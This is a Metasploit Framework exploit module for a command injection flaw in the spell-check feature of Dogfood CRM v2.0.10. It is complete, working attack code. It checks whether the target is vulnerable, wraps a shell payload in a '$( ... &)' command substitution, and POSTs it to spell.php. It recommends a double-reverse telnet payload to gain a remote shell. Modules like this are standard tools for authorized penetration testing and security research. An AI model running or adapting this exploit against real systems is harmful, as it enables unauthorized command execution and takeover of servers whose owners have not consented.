### $Id: dogfood_spell_exec.rb 9669 2010-07-03 03:13:45Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'classMetasploit3< Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
definitialize(info ={})super(update_info(info,'Name'=>'Dogfood CRM spell.php Remote Command Execution','Description'=>%q{
This module exploits a previously unpublished vulnerability in the
Dogfood CRM mail function which is vulnerable to command injection
in the spell check feature.Because of character restrictions, this
exploit works best with the double-reverse telnet payload. This
vulnerability was discovered by LSO and affects v2.0.10.},'Author'=>['LSO <lso@hushmail.com>',# Exploit module'patrick',# Added check code, QA tested ok 20090303, there are no references (yet).],'License'=> BSD_LICENSE,'Version'=>'$Revision: 9669 $','References'=>[['OSVDB','54707'],['URL','http://downloads.sourceforge.net/dogfood/'],],'Privileged'=> false,'Platform'=>['unix'],# patrickw - removed win, linux -> untested'Arch'=> ARCH_CMD,'Payload'=>{'Space'=>1024,'DisableNops'=> true,'BadChars'=>%q|'"`|,# quotes are escaped by PHP's magic_quotes_gpc in a default install
'Compat'=>{'PayloadType'=>'cmd','RequiredCmd'=>'generic perl ruby bash telnet',}},'Targets'=>[['Automatic',{}],],'DefaultTarget'=>0,'DisclosureDate'=>'Mar 03 2009'))
register_options([
OptString.new('URIPATH',[ true,"The URI of the spell checker",'/dogfood/mail/spell.php']),], self.class)
end
def check
res = send_request_raw({'uri'=> datastore['URIPATH'],},1)if(res.body =~/Spell Check complete/)return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
timeout =1
cmd = payload.encoded
data ="data=#{Rex::Text.uri_encode('$( '+ cmd + ' &)x')}"
uri = datastore['URIPATH']
response = send_request_cgi({'uri'=> uri,'method'=>"POST",'data'=> data
},
timeout)
handler
end
end